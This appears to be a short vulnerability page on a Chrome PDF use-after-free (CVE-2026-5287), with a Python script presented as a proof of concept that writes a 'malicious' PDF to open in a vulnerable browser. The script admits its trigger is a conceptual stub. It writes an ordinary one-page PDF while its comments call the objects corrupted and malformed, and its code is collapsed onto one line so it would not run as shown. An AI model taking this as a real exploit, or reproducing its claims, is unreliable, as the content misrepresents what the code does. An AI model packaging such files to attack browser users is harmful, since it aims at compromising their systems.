CVE-2026-5287 Google Chrome PDF释放后使用漏洞

import sys # Proof of Concept for CVE-2026-5287 (Chrome PDF UAF) # This script generates a malformed PDF intended to trigger the Use-After-Free vulnerability. # It creates a basic PDF structure with specific anomalies to stress the parser. def generate_malicious_pdf(filename): pdf_header = b"%PDF-1.4\n" # Malformed object stream attempting to trigger the UAF in PDFium # This is a conceptual stub; actual trigger bytes depend on the specific bug. malicious_object = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" # Corrupted reference to simulate the UAF condition corrupted_stream = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" # A crafted stream that might cause the free/reuse cycle payload = b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n" stream_content = b"BT /F1 12 Tf 100 700 Td (Hello) Tj ET" # Intentionally malformed XRef table to confuse memory management xref = b"xref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000074 00000 n \n0000000131 00000 n \n0000000244 00000 n \n" trailer = b"trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n345\n%%EOF" with open(filename, "wb") as f: f.write(pdf_header) f.write(malicious_object) f.write(corrupted_stream) f.write(payload) f.write(b"4 0 obj\n<< /Length " + str(len(stream_content)).encode() + b" >>\nstream\n" + stream_content + b"\nendstream\nendobj\n") f.write(xref) f.write(trailer) if __name__ == "__main__": generate_malicious_pdf("poc_cve_2026_5287.pdf") print("[+] Malicious PDF generated: poc_cve_2026_5287.pdf") print("[+] Open this file in a vulnerable Chrome version to test.")